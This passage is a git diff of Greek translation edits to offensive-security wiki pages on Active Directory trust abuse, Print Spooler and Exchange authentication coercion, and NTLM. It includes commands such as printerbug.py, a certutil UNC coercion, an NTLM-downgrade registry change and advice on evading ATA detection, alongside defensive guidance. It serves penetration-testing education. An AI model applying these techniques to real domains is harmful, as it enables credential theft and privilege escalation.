παρουσιάζει αυτό το TGS στον διακομιστή, το οποίο είναι κρυπτογραφημένο με το hash του λογαριασμού του διακομιστή, για να αποκτήσει πρόσβαση στην υπηρεσία στον Τομέα 2. ### Διάφορες εμπιστοσύνες -Είναι σημαντικό να σημειωθεί ότι **μια εμπιστοσύνη μπορεί να είναι 1 κατεύθυνσης ή 2 κατευθύνσεων**. Στην επιλογή 2 κατευθύνσεων, και οι δύο τομείς θα εμπιστεύονται ο ένας τον άλλο, αλλά στη **1 κατεύθυνσης** σχέση εμπιστοσύνης, ένας από τους τομείς θα είναι ο **εμπιστευμένος** και ο άλλος ο **εμπιστευόμενος** τομέας. Στην τελευταία περίπτωση, **θα μπορείτε μόνο να έχετε πρόσβαση σε πόρους μέσα στον εμπιστευόμενο τομέα από τον εμπιστευμένο.** +Είναι σημαντικό να παρατηρήσετε ότι **μια εμπιστοσύνη μπορεί να είναι 1 κατεύθυνσης ή 2 κατευθύνσεων**. Στην επιλογή 2 κατευθύνσεων, και οι δύο τομείς θα εμπιστεύονται ο ένας τον άλλον, αλλά στη **1 κατεύθυνσης** σχέση εμπιστοσύνης, ένας από τους τομείς θα είναι ο **εμπιστευμένος** και ο άλλος ο **εμπιστευόμενος** τομέας. Στην τελευταία περίπτωση, **θα μπορείτε μόνο να έχετε πρόσβαση σε πόρους μέσα στον εμπιστευόμενο τομέα από τον εμπιστευμένο.** Εάν ο Τομέας A εμπιστεύεται τον Τομέα B, ο A είναι ο εμπιστευόμενος τομέας και ο B είναι ο εμπιστευμένος. Επιπλέον, στον **Τομέα A**, αυτό θα ήταν μια **Εξωτερική εμπιστοσύνη**; και στον **Τομέα B**, αυτό θα ήταν μια **Εσωτερική εμπιστοσύνη**. @@ -528,28 +528,28 @@ laps.md - **Εμπιστοσύνες Γονέα-Παιδιού**: Αυτή είναι μια κοινή ρύθμιση εντός του ίδιου δάσους, όπου ένας παιδικός τομέας έχει αυτόματα μια διπλή μεταβατική εμπιστοσύνη με τον γονικό τομέα του. Ουσιαστικά, αυτό σημαίνει ότι οι αιτήσεις αυθεντικοποίησης μπορούν να ρέουν ομαλά μεταξύ του γονέα και του παιδιού. - **Διασυνδεδεμένες Εμπιστοσύνες**: Αναφέρονται ως "συντομευμένες εμπιστοσύνες", αυτές καθιερώνονται μεταξύ παιδικών τομέων για να επιταχύνουν τις διαδικασίες παραπομπής. Σε πολύπλοκα δάση, οι παραπομπές αυθεντικοποίησης συνήθως πρέπει να ταξιδεύουν μέχρι τη ρίζα του δάσους και στη συνέχεια προς τα κάτω στον στόχο τομέα. Δημιουργώντας διασυνδέσεις, η διαδρομή συντομεύεται, κάτι που είναι ιδιαίτερα ευεργετικό σε γεωγραφικά διασκορπισμένα περιβάλλοντα. -- **Εξωτερικές Εμπιστοσύνες**: Αυτές καθιερώνονται μεταξύ διαφορετικών, άσχετων τομέων και είναι μη μεταβατικές από τη φύση τους. Σύμφωνα με [την τεκμηρίωση της Microsoft](), οι εξωτερικές εμπιστοσύνες είναι χρήσιμες για την πρόσβαση σε πόρους σε έναν τομέα εκτός του τρέχοντος δάσους που δεν είναι συνδεδεμένος μέσω μιας εμπιστοσύνης δάσους. Η ασφάλεια ενισχύεται μέσω φιλτραρίσματος SID με εξωτερικές εμπιστοσύνες. +- **Εξωτερικές Εμπιστοσύνες**: Αυτές καθιερώνονται μεταξύ διαφορετικών, άσχετων τομέων και είναι μη μεταβατικές από τη φύση τους. Σύμφωνα με [την τεκμηρίωση της Microsoft](), οι εξωτερικές εμπιστοσύνες είναι χρήσιμες για την πρόσβαση σε πόρους σε έναν τομέα εκτός του τρέχοντος δάσους που δεν είναι συνδεδεμένος μέσω εμπιστοσύνης δάσους. Η ασφάλεια ενισχύεται μέσω φιλτραρίσματος SID με εξωτερικές εμπιστοσύνες. - **Εμπιστοσύνες Ρίζας Δέντρου**: Αυτές οι εμπιστοσύνες καθιερώνονται αυτόματα μεταξύ του ριζικού τομέα του δάσους και ενός νέου ριζικού δέντρου που προστίθεται. Αν και δεν συναντώνται συχνά, οι εμπιστοσύνες ρίζας δέντρου είναι σημαντικές για την προσθήκη νέων δέντρων τομέα σε ένα δάσος, επιτρέποντάς τους να διατηρούν ένα μοναδικό όνομα τομέα και διασφαλίζοντας τη διπλή μεταβατικότητα. Περισσότερες πληροφορίες μπορείτε να βρείτε στον [οδηγό της Microsoft](). - **Εμπιστοσύνες Δάσους**: Αυτός ο τύπος εμπιστοσύνης είναι μια διπλή μεταβατική εμπιστοσύνη μεταξύ δύο ριζικών τομέων δάσους, επιβάλλοντας επίσης φιλτράρισμα SID για την ενίσχυση των μέτρων ασφαλείας. -- **Εμπιστοσύνες MIT**: Αυτές οι εμπιστοσύνες καθιερώνονται με μη Windows, [συμβατές με RFC4120](https://tools.ietf.org/html/rfc4120) τομείς Kerberos. Οι εμπιστοσύνες MIT είναι λίγο πιο εξειδικευμένες και απευθύνονται σε περιβάλλοντα που απαιτούν ενσωμάτωση με συστήματα βασισμένα σε Kerberos εκτός του οικοσυστήματος Windows. +- **MIT Εμπιστοσύνες**: Αυτές οι εμπιστοσύνες καθιερώνονται με μη Windows, [RFC4120-compliant](https://tools.ietf.org/html/rfc4120) τομείς Kerberos. Οι MIT εμπιστοσύνες είναι λίγο πιο εξειδικευμένες και απευθύνονται σε περιβάλλοντα που απαιτούν ενσωμάτωση με συστήματα Kerberos εκτός του οικοσυστήματος Windows. #### Άλλες διαφορές στις **σχέσεις εμπιστοσύνης** - Μια σχέση εμπιστοσύνης μπορεί επίσης να είναι **μεταβατική** (A εμπιστεύεται B, B εμπιστεύεται C, τότε A εμπιστεύεται C) ή **μη μεταβατική**. -- Μια σχέση εμπιστοσύνης μπορεί να ρυθμιστεί ως **αμφίδρομη εμπιστοσύνη** (και οι δύο εμπιστεύονται ο ένας τον άλλο) ή ως **μονοκατεύθυνση εμπιστοσύνη** (μόνο ένας από αυτούς εμπιστεύεται τον άλλο). +- Μια σχέση εμπιστοσύνης μπορεί να ρυθμιστεί ως **αμφίδρομη εμπιστοσύνη** (και οι δύο εμπιστεύονται ο ένας τον άλλον) ή ως **μονοκατεύθυνση εμπιστοσύνη** (μόνο ένας από αυτούς εμπιστεύεται τον άλλον). ### Διαδρομή Επίθεσης 1. **Καταγράψτε** τις σχέσεις εμπιστοσύνης -2. Ελέγξτε αν οποιοσδήποτε **ασφαλής φορέας** (χρήστης/ομάδα/υπολογιστής) έχει **πρόσβαση** σε πόρους του **άλλου τομέα**, ίσως μέσω εγγραφών ACE ή μέσω συμμετοχής σε ομάδες του άλλου τομέα. Αναζητήστε **σχέσεις μεταξύ τομέων** (η εμπιστοσύνη δημιουργήθηκε πιθανώς για αυτό). +2. Ελέγξτε αν οποιοδήποτε **ασφαλές κύριο** (χρήστης/ομάδα/υπολογιστής) έχει **πρόσβαση** σε πόρους του **άλλου τομέα**, ίσως μέσω καταχωρήσεων ACE ή μέσω συμμετοχής σε ομάδες του άλλου τομέα. Αναζητήστε **σχέσεις μεταξύ τομέων** (η εμπιστοσύνη δημιουργήθηκε πιθανώς για αυτό). 1. Το kerberoast σε αυτή την περίπτωση θα μπορούσε να είναι μια άλλη επιλογή. -3. **Συμβιβάστε** τους **λογαριασμούς** που μπορούν να **μεταβούν** μέσω τομέων. +3. **Συμβιβάστε** τους **λογαριασμούς** που μπορούν να **μεταπηδήσουν** μέσω τομέων. Οι επιτιθέμενοι θα μπορούσαν να έχουν πρόσβαση σε πόρους σε έναν άλλο τομέα μέσω τριών κύριων μηχανισμών: -- **Τοπική Συμμετοχή Ομάδας**: Οι φορείς μπορεί να προστεθούν σε τοπικές ομάδες σε μηχανές, όπως η ομάδα “Administrators” σε έναν διακομιστή, παρέχοντας τους σημαντικό έλεγχο πάνω σε αυτή τη μηχανή. -- **Συμμετοχή Ομάδας Ξένου Τομέα**: Οι φορείς μπορούν επίσης να είναι μέλη ομάδων εντός του ξένου τομέα. Ωστόσο, η αποτελεσματικότητα αυτής της μεθόδου εξαρτάται από τη φύση της εμπιστοσύνης και την έκταση της ομάδας. -- **Λίστες Ελέγχου Πρόσβασης (ACLs)**: Οι φορείς μπορεί να καθορίζονται σε μια **ACL**, ιδιαίτερα ως οντότητες σε **ACEs** εντός μιας **DACL**, παρέχοντας τους πρόσβαση σε συγκεκριμένους πόρους. Για όσους επιθυμούν να εμβαθύνουν στους μηχανισμούς των ACLs, DACLs και ACEs, το λευκό έγγραφο με τίτλο “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” είναι μια ανεκτίμητη πηγή. +- **Τοπική Συμμετοχή Ομάδας**: Οι κύριοι μπορεί να προστεθούν σε τοπικές ομάδες σε μηχανές, όπως η ομάδα “Administrators” σε έναν διακομιστή, παρέχοντας τους σημαντικό έλεγχο πάνω σε αυτή τη μηχανή. +- **Συμμετοχή Ομάδας Ξένου Τομέα**: Οι κύριοι μπορούν επίσης να είναι μέλη ομάδων εντός του ξένου τομέα. Ωστόσο, η αποτελεσματικότητα αυτής της μεθόδου εξαρτάται από τη φύση της εμπιστοσύνης και την έκταση της ομάδας. +- **Λίστες Ελέγχου Πρόσβασης (ACLs)**: Οι κύριοι μπορεί να καθορίζονται σε μια **ACL**, ιδιαίτερα ως οντότητες σε **ACEs** εντός μιας **DACL**, παρέχοντας τους πρόσβαση σε συγκεκριμένους πόρους. Για όσους επιθυμούν να εμβαθύνουν στους μηχανισμούς των ACLs, DACLs και ACEs, το λευκό έγγραφο με τίτλο “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” είναι μια ανεκτίμητη πηγή. ### Κλιμάκωση Δικαιωμάτων Δάσους από Παιδί σε Γονέα ``` @@ -606,7 +606,7 @@ sid-history-injection.md Η ευπάθεια ADCS ESC5 στοχεύει τον έλεγχο των αντικειμένων Public Key Infrastructure (PKI) για τη δημιουργία ενός προτύπου πιστοποιητικού που επιτρέπει την αυθεντικοποίηση ως οποιοσδήποτε χρήστης εντός του δάσους. Καθώς τα αντικείμενα PKI βρίσκονται στην Configuration NC, η εκμετάλλευση ενός writable child DC επιτρέπει την εκτέλεση επιθέσεων ESC5. -Περισσότερες λεπτομέρειες σχετικά με αυτό μπορούν να διαβαστούν στο [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). Σε σενάρια που λείπει το ADCS, ο επιτιθέμενος έχει τη δυνατότητα να ρυθμίσει τα απαραίτητα στοιχεία, όπως συζητείται στο [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/). +Περισσότερες λεπτομέρειες σχετικά με αυτό μπορείτε να διαβάσετε στο [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). Σε σενάρια που λείπει το ADCS, ο επιτιθέμενος έχει τη δυνατότητα να ρυθμίσει τα απαραίτητα στοιχεία, όπως συζητείται στο [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/). ### External Forest Domain - One-Way (Inbound) or bidirectional ```powershell @@ -619,13 +619,13 @@ TrustDirection : Inbound --> Inboud trust WhenCreated : 2/19/2021 10:50:56 PM WhenChanged : 2/19/2021 10:50:56 PM ``` -Σε αυτό το σενάριο **το domain σας είναι αξιόπιστο** από ένα εξωτερικό, δίνοντάς σας **ακαθόριστες άδειες** πάνω σε αυτό. Θα χρειαστεί να βρείτε **ποιοι φορείς του domain σας έχουν ποια πρόσβαση στο εξωτερικό domain** και στη συνέχεια να προσπαθήσετε να το εκμεταλλευτείτε: +Σε αυτό το σενάριο **το τομέα σας είναι αξιόπιστος** από έναν εξωτερικό, δίνοντάς σας **ακαθόριστες άδειες** πάνω του. Θα χρειαστεί να βρείτε **ποιοι φορείς του τομέα σας έχουν ποια πρόσβαση στον εξωτερικό τομέα** και στη συνέχεια να προσπαθήσετε να το εκμεταλλευτείτε: {{#ref}} external-forest-domain-oneway-inbound.md {{#endref}} -### Εξωτερικό Δάσος Domain - Μονοκατεύθυνση (Εξαγωγή) +### Εξωτερικός Δασικός Τομέας - Μονοκατεύθυνση (Εξαγωγή) ```powershell Get-DomainTrust -Domain current.local @@ -654,17 +654,17 @@ external-forest-domain-one-way-outbound.md rdp-sessions-abuse.md {{#endref}} -### Mitigation of Domain Trust Abuse +### Μείωση κατάχρησης εμπιστοσύνης domain -### **SID Filtering:** +### **Φιλτράρισμα SID:** -- Ο κίνδυνος επιθέσεων που εκμεταλλεύονται το SID history attribute σε διασυνδέσεις δασών μειώνεται με το SID Filtering, το οποίο είναι ενεργοποιημένο από προεπιλογή σε όλες τις διασυνδέσεις μεταξύ δασών. Αυτό στηρίζεται στην υπόθεση ότι οι διασυνδέσεις εντός του δάσους είναι ασφαλείς, θεωρώντας το δάσος, αντί για το domain, ως το όριο ασφαλείας σύμφωνα με τη θέση της Microsoft. -- Ωστόσο, υπάρχει μια παγίδα: η φιλτράρισμα SID μπορεί να διαταράξει τις εφαρμογές και την πρόσβαση των χρηστών, οδηγώντας σε περιστασιακή απενεργοποίησή του. +- Ο κίνδυνος επιθέσεων που εκμεταλλεύονται το χαρακτηριστικό ιστορικό SID σε διασυνδέσεις δασών μειώνεται με το Φιλτράρισμα SID, το οποίο είναι ενεργοποιημένο από προεπιλογή σε όλες τις διασυνδέσεις μεταξύ δασών. Αυτό στηρίζεται στην υπόθεση ότι οι διασυνδέσεις εντός του δάσους είναι ασφαλείς, θεωρώντας το δάσος, αντί για το domain, ως το όριο ασφαλείας σύμφωνα με τη θέση της Microsoft. +- Ωστόσο, υπάρχει μια παγίδα: το φιλτράρισμα SID μπορεί να διαταράξει τις εφαρμογές και την πρόσβαση των χρηστών, οδηγώντας σε περιστασιακή απενεργοποίησή του. -### **Selective Authentication:** +### **Επιλεκτική Αυθεντικοποίηση:** -- Για τις διασυνδέσεις μεταξύ δασών, η χρήση Selective Authentication διασφαλίζει ότι οι χρήστες από τα δύο δάση δεν αυθεντικοποιούνται αυτόματα. Αντίθετα, απαιτούνται ρητές άδειες για τους χρήστες να έχουν πρόσβαση σε domains και servers εντός του εμπιστευόμενου domain ή δάσους. -- Είναι σημαντικό να σημειωθεί ότι αυτά τα μέτρα δεν προστατεύουν από την εκμετάλλευση του writable Configuration Naming Context (NC) ή επιθέσεις στον λογαριασμό εμπιστοσύνης. +- Για τις διασυνδέσεις μεταξύ δασών, η χρήση Επιλεκτικής Αυθεντικοποίησης διασφαλίζει ότι οι χρήστες από τα δύο δάση δεν αυθεντικοποιούνται αυτόματα. Αντίθετα, απαιτούνται ρητές άδειες για τους χρήστες ώστε να έχουν πρόσβαση σε domains και διακομιστές εντός του εμπιστευμένου domain ή δάσους. +- Είναι σημαντικό να σημειωθεί ότι αυτά τα μέτρα δεν προστατεύουν από την εκμετάλλευση του εγγράψιμου Configuration Naming Context (NC) ή επιθέσεις στον λογαριασμό εμπιστοσύνης. [**Περισσότερες πληροφορίες σχετικά με τις εμπιστοσύνες domain στο ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain) @@ -676,17 +676,17 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement ## Ορισμένες Γενικές Άμυνες -[**Μάθετε περισσότερα σχετικά με το πώς να προστατεύσετε τα credentials εδώ.**](../stealing-credentials/credentials-protections.md)\\ +[**Μάθετε περισσότερα σχετικά με το πώς να προστατεύσετε τα διαπιστευτήρια εδώ.**](../stealing-credentials/credentials-protections.md) -### **Αμυντικά Μέτρα για την Προστασία των Credentials** +### **Αμυντικά Μέτρα για την Προστασία Διαπιστευτηρίων** -- **Περιορισμοί Domain Admins**: Συνιστάται οι Domain Admins να επιτρέπεται να συνδέονται μόνο σε Domain Controllers, αποφεύγοντας τη χρήση τους σε άλλους υπολογιστές. -- **Privileges Λογαριασμού Υπηρεσίας**: Οι υπηρεσίες δεν θα πρέπει να εκτελούνται με privileges Domain Admin (DA) για να διατηρηθεί η ασφάλεια. -- **Περιορισμός Χρόνου Privilege**: Για εργασίες που απαιτούν DA privileges, η διάρκεια τους θα πρέπει να περιορίζεται. Αυτό μπορεί να επιτευχθεί με: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` +- **Περιορισμοί Διαχειριστών Domain**: Συνιστάται οι Διαχειριστές Domain να επιτρέπεται να συνδέονται μόνο σε Domain Controllers, αποφεύγοντας τη χρήση τους σε άλλους υπολογιστές. +- **Privileges Λογαριασμού Υπηρεσίας**: Οι υπηρεσίες δεν θα πρέπει να εκτελούνται με privileges Διαχειριστή Domain (DA) για να διατηρείται η ασφάλεια. +- **Περιορισμός Χρονικής Διάρκειας Privilege**: Για εργασίες που απαιτούν DA privileges, η διάρκεια τους θα πρέπει να περιορίζεται. Αυτό μπορεί να επιτευχθεί με: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` ### **Εφαρμογή Τεχνικών Απάτης** -- Η εφαρμογή απάτης περιλαμβάνει τη δημιουργία παγίδων, όπως χρήστες ή υπολογιστές δόλωμα, με χαρακτηριστικά όπως κωδικοί που δεν λήγουν ή είναι επισημασμένοι ως Trusted for Delegation. Μια λεπτομερής προσέγγιση περιλαμβάνει τη δημιουργία χρηστών με συγκεκριμένα δικαιώματα ή την προσθήκη τους σε ομάδες υψηλών privileges. +- Η εφαρμογή απάτης περιλαμβάνει τη δημιουργία παγίδων, όπως χρήστες ή υπολογιστές δόλωμα, με χαρακτηριστικά όπως κωδικοί που δεν λήγουν ή είναι επισημασμένοι ως Εμπιστευμένοι για Αντιπροσώπευση. Μια λεπτομερής προσέγγιση περιλαμβάνει τη δημιουργία χρηστών με συγκεκριμένα δικαιώματα ή την προσθήκη τους σε ομάδες υψηλών privileges. - Ένα πρακτικό παράδειγμα περιλαμβάνει τη χρήση εργαλείων όπως: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose` - Περισσότερα σχετικά με την ανάπτυξη τεχνικών απάτης μπορείτε να βρείτε στο [Deploy-Deception στο GitHub](https://github.com/samratashok/Deploy-Deception). @@ -698,9 +698,9 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement ### **Παράκαμψη Συστήματος Ανίχνευσης** - **Παράκαμψη Ανίχνευσης Microsoft ATA**: -- **Αναγνώριση Χρηστών**: Αποφυγή αναγνώρισης συνεδριών σε Domain Controllers για να αποφευχθεί η ανίχνευση από το ATA. -- **Εκμετάλλευση Εισιτηρίων**: Η χρήση **aes** κλειδιών για τη δημιουργία εισιτηρίων βοηθά στην αποφυγή ανίχνευσης, αποφεύγοντας την υποβάθμιση σε NTLM. -- **DCSync Επιθέσεις**: Συνιστάται η εκτέλεση από μη Domain Controller για να αποφευχθεί η ανίχνευση από το ATA, καθώς η άμεση εκτέλεση από έναν Domain Controller θα ενεργοποιήσει ειδοποιήσεις. +- **Αναγνώριση Χρηστών**: Αποφυγή αναγνώρισης συνεδριών σε Domain Controllers για την αποφυγή ανίχνευσης από το ATA. +- **Μίμηση Εισιτηρίων**: Η χρήση **aes** κλειδιών για τη δημιουργία εισιτηρίων βοηθά στην αποφυγή ανίχνευσης, αποφεύγοντας την υποβάθμιση σε NTLM. +- **Επιθέσεις DCSync**: Συνιστάται η εκτέλεση από μη Domain Controller για την αποφυγή ανίχνευσης από το ATA, καθώς η άμεση εκτέλεση από έναν Domain Controller θα ενεργοποιήσει ειδοποιήσεις. ## Αναφορές diff --git a/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md b/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md index cca708307..1a11316e3 100644 --- a/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md +++ b/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md @@ -4,16 +4,16 @@ ## SharpSystemTriggers -[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) είναι μια **συλλογή** από **remote authentication triggers** που έχουν κωδικοποιηθεί σε C# χρησιμοποιώντας τον MIDL compiler για να αποφευχθούν οι εξαρτήσεις από τρίτους. +[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) είναι μια **συλλογή** από **αυτοματοποιητές απομακρυσμένης πιστοποίησης** κωδικοποιημένοι σε C# χρησιμοποιώντας τον μεταγλωττιστή MIDL για να αποφευχθούν οι εξαρτήσεις από τρίτους. ## Spooler Service Abuse -Εάν η _**Print Spooler**_ υπηρεσία είναι **ενεργοποιημένη,** μπορείτε να χρησιμοποιήσετε κάποιες ήδη γνωστές AD διαπιστεύσεις για να **ζητήσετε** από τον εκτυπωτή του Domain Controller μια **ενημέρωση** για νέες εκτυπώσεις και απλώς να του πείτε να **στείλει την ειδοποίηση σε κάποιο σύστημα**.\ -Σημειώστε ότι όταν ο εκτυπωτής στέλνει την ειδοποίηση σε τυχαία συστήματα, χρειάζεται να **αυθεντικοποιηθεί** σε αυτό το **σύστημα**. Επομένως, ένας επιτιθέμενος μπορεί να κάνει την _**Print Spooler**_ υπηρεσία να αυθεντικοποιηθεί σε ένα τυχαίο σύστημα, και η υπηρεσία θα **χρησιμοποιήσει τον υπολογιστή λογαριασμό** σε αυτή την αυθεντικοποίηση. +Εάν η υπηρεσία _**Print Spooler**_ είναι **ενεργοποιημένη,** μπορείτε να χρησιμοποιήσετε κάποιες ήδη γνωστές διαπιστεύσεις AD για να **ζητήσετε** από τον εκτυπωτή του Domain Controller μια **ενημέρωση** για νέες εκτυπώσεις και απλώς να του πείτε να **στείλει την ειδοποίηση σε κάποιο σύστημα**.\ +Σημειώστε ότι όταν ο εκτυπωτής στέλνει την ειδοποίηση σε τυχαία συστήματα, χρειάζεται να **πιστοποιηθεί** σε αυτό το **σύστημα**. Επομένως, ένας επιτιθέμενος μπορεί να κάνει την υπηρεσία _**Print Spooler**_ να πιστοποιηθεί σε ένα τυχαίο σύστημα, και η υπηρεσία θα **χρησιμοποιήσει τον λογαριασμό υπολογιστή** σε αυτή την πιστοποίηση. ### Finding Windows Servers on the domain -Χρησιμοποιώντας το PowerShell, αποκτήστε μια λίστα με Windows συστήματα. Οι διακομιστές είναι συνήθως προτεραιότητα, οπότε ας επικεντρωθούμε εκεί: +Χρησιμοποιώντας το PowerShell, αποκτήστε μια λίστα με Windows υπολογιστές. Οι διακομιστές είναι συνήθως προτεραιότητα, οπότε ας επικεντρωθούμε εκεί: ```bash Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt ``` @@ -41,9 +41,9 @@ printerbug.py 'domain/username:password'@ ``` ### Συνδυασμός με Απεριόριστη Αντιπροσώπευση -Εάν ένας επιτιθέμενος έχει ήδη παραβιάσει έναν υπολογιστή με [Απεριόριστη Αντιπροσώπευση](unconstrained-delegation.md), ο επιτιθέμενος θα μπορούσε **να κάνει τον εκτυπωτή να πιστοποιηθεί σε αυτόν τον υπολογιστή**. Λόγω της απεριόριστης αντιπροσώπευσης, το **TGT** του **λογαριασμού υπολογιστή του εκτυπωτή** θα είναι **αποθηκευμένο** στη **μνήμη** του υπολογιστή με απεριόριστη αντιπροσώπευση. Καθώς ο επιτιθέμενος έχει ήδη παραβιάσει αυτήν την υποδοχή, θα είναι σε θέση να **ανακτήσει αυτό το εισιτήριο** και να το εκμεταλλευτεί ([Pass the Ticket](pass-the-ticket.md)). +Εάν ένας επιτιθέμενος έχει ήδη παραβιάσει έναν υπολογιστή με [Απεριόριστη Αντιπροσώπευση](unconstrained-delegation.md), ο επιτιθέμενος θα μπορούσε **να κάνει τον εκτυπωτή να πιστοποιηθεί σε αυτόν τον υπολογιστή**. Λόγω της απεριόριστης αντιπροσώπευσης, το **TGT** του **λογαριασμού υπολογιστή του εκτυπωτή** θα είναι **αποθηκευμένο** στη **μνήμη** του υπολογιστή με απεριόριστη αντιπροσώπευση. Καθώς ο επιτιθέμενος έχει ήδη παραβιάσει αυτήν τη συσκευή, θα είναι σε θέση να **ανακτήσει αυτό το εισιτήριο** και να το εκμεταλλευτεί ([Pass the Ticket](pass-the-ticket.md)). -## RCP Force authentication +## RCP Εξαναγκασμός πιστοποίησης {{#ref}} https://github.com/p0dalirius/Coercer @@ -51,13 +51,13 @@ https://github.com/p0dalirius/Coercer ## PrivExchange -Η επίθεση `PrivExchange` είναι αποτέλεσμα ενός σφάλματος που βρέθηκε στη **λειτουργία `PushSubscription` του Exchange Server**. Αυτή η λειτουργία επιτρέπει στον διακομιστή Exchange να αναγκάζεται από οποιονδήποτε χρήστη τομέα με γραμματοκιβώτιο να πιστοποιείται σε οποιονδήποτε πελάτη που παρέχει υποδοχή μέσω HTTP. +Η επίθεση `PrivExchange` είναι αποτέλεσμα ενός σφάλματος που βρέθηκε στη **λειτουργία `PushSubscription` του Exchange Server**. Αυτή η λειτουργία επιτρέπει στον διακομιστή Exchange να εξαναγκάζεται από οποιονδήποτε χρήστη τομέα με γραμματοκιβώτιο να πιστοποιείται σε οποιονδήποτε πελάτη που παρέχει έναν διακομιστή μέσω HTTP. -Από προεπιλογή, η **υπηρεσία Exchange εκτελείται ως SYSTEM** και έχει υπερβολικά προνόμια (συγκεκριμένα, έχει **WriteDacl privileges στο domain πριν από την Cumulative Update 2019**). Αυτό το σφάλμα μπορεί να εκμεταλλευτεί για να επιτρέψει την **αναμετάδοση πληροφοριών στο LDAP και στη συνέχεια να εξαγάγει τη βάση δεδομένων NTDS του τομέα**. Σε περιπτώσεις όπου η αναμετάδοση στο LDAP δεν είναι δυνατή, αυτό το σφάλμα μπορεί να χρησιμοποιηθεί για να αναμεταδώσει και να πιστοποιηθεί σε άλλες υποδοχές εντός του τομέα. Η επιτυχής εκμετάλλευση αυτής της επίθεσης παρέχει άμεση πρόσβαση στον Domain Admin με οποιονδήποτε πιστοποιημένο λογαριασμό χρήστη τομέα. +Από προεπιλογή, η **υπηρεσία Exchange εκτελείται ως SYSTEM** και της έχουν δοθεί υπερβολικά δικαιώματα (συγκεκριμένα, έχει **WriteDacl δικαιώματα στον τομέα πριν από την ενημέρωση Cumulative Update 2019**). Αυτό το σφάλμα μπορεί να εκμεταλλευτεί για να επιτρέψει την **αναμετάδοση πληροφοριών στο LDAP και στη συνέχεια να εξάγει τη βάση δεδομένων NTDS του τομέα**. Σε περιπτώσεις όπου η αναμετάδοση στο LDAP δεν είναι δυνατή, αυτό το σφάλμα μπορεί να χρησιμοποιηθεί για να αναμεταδώσει και να πιστοποιηθεί σε άλλους διακομιστές εντός του τομέα. Η επιτυχής εκμετάλλευση αυτής της επίθεσης παρέχει άμεση πρόσβαση στον Διαχειριστή Τομέα με οποιονδήποτε πιστοποιημένο λογαριασμό χρήστη τομέα. ## Μέσα στα Windows -Εάν είστε ήδη μέσα στη μηχανή Windows, μπορείτε να αναγκάσετε τα Windows να συνδεθούν σε έναν διακομιστή χρησιμοποιώντας προνομιακούς λογαριασμούς με: +Εάν είστε ήδη μέσα στη μηχανή Windows, μπορείτε να εξαναγκάσετε τα Windows να συνδεθούν σε έναν διακομιστή χρησιμοποιώντας προνομιακούς λογαριασμούς με: ### Defender MpCmdRun ```bash @@ -105,6 +105,6 @@ certutil.exe -syncwithWU \\127.0.0.1\share ## Cracking NTLMv1 Αν μπορείτε να συλλάβετε [NTLMv1 challenges διαβάστε εδώ πώς να τα σπάσετε](../ntlm/index.html#ntlmv1-attack).\ -&#xNAN;_Rθυμηθείτε ότι για να σπάσετε το NTLMv1 πρέπει να ορίσετε την πρόκληση του Responder σε "1122334455667788"_ +_Remember ότι για να σπάσετε το NTLMv1 πρέπει να ορίσετε την πρόκληση του Responder σε "1122334455667788"_ {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/ntlm/README.md b/src/windows-hardening/ntlm/README.md index 970dedafd..e6753f628 100644 --- a/src/windows-hardening/ntlm/README.md +++ b/src/windows-hardening/ntlm/README.md @@ -19,7 +19,7 @@ - Τα πακέτα αυθεντικοποίησης NTLM είναι αναγνωρίσιμα από την κεφαλίδα "NTLMSSP". - Τα πρωτόκολλα LM, NTLMv1 και NTLMv2 υποστηρίζονται από το σύστημα αρχείο `msv1\_0.dll`. -## LM, NTLMv1 and NTLMv2 +## LM, NTLMv1 και NTLMv2 Μπορείτε να ελέγξετε και να διαμορφώσετε ποιο πρωτόκολλο θα χρησιμοποιηθεί: @@ -63,7 +63,7 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE Το **μήκος της πρόκλησης είναι 8 bytes** και η **απάντηση είναι 24 bytes**. -Το **hash NT (16bytes)** χωρίζεται σε **3 μέρη των 7bytes το καθένα** (7B + 7B + (2B+0x00\*5)): το **τελευταίο μέρος γεμίζει με μηδενικά**. Στη συνέχεια, η **πρόκληση** κρυπτογραφείται **χωριστά** με κάθε μέρος και τα **αποτελέσματα** των κρυπτογραφημένων bytes **ενώνονται**. Σύνολο: 8B + 8B + 8B = 24Bytes. +Το **hash NT (16bytes)** χωρίζεται σε **3 μέρη των 7bytes το καθένα** (7B + 7B + (2B+0x00\*5)): το **τελευταίο μέρος γεμίζει με μηδενικά**. Στη συνέχεια, η **πρόκληση** κρυπτογραφείται **ξεχωριστά** με κάθε μέρος και τα **αποτελέσματα** των κρυπτογραφημένων bytes 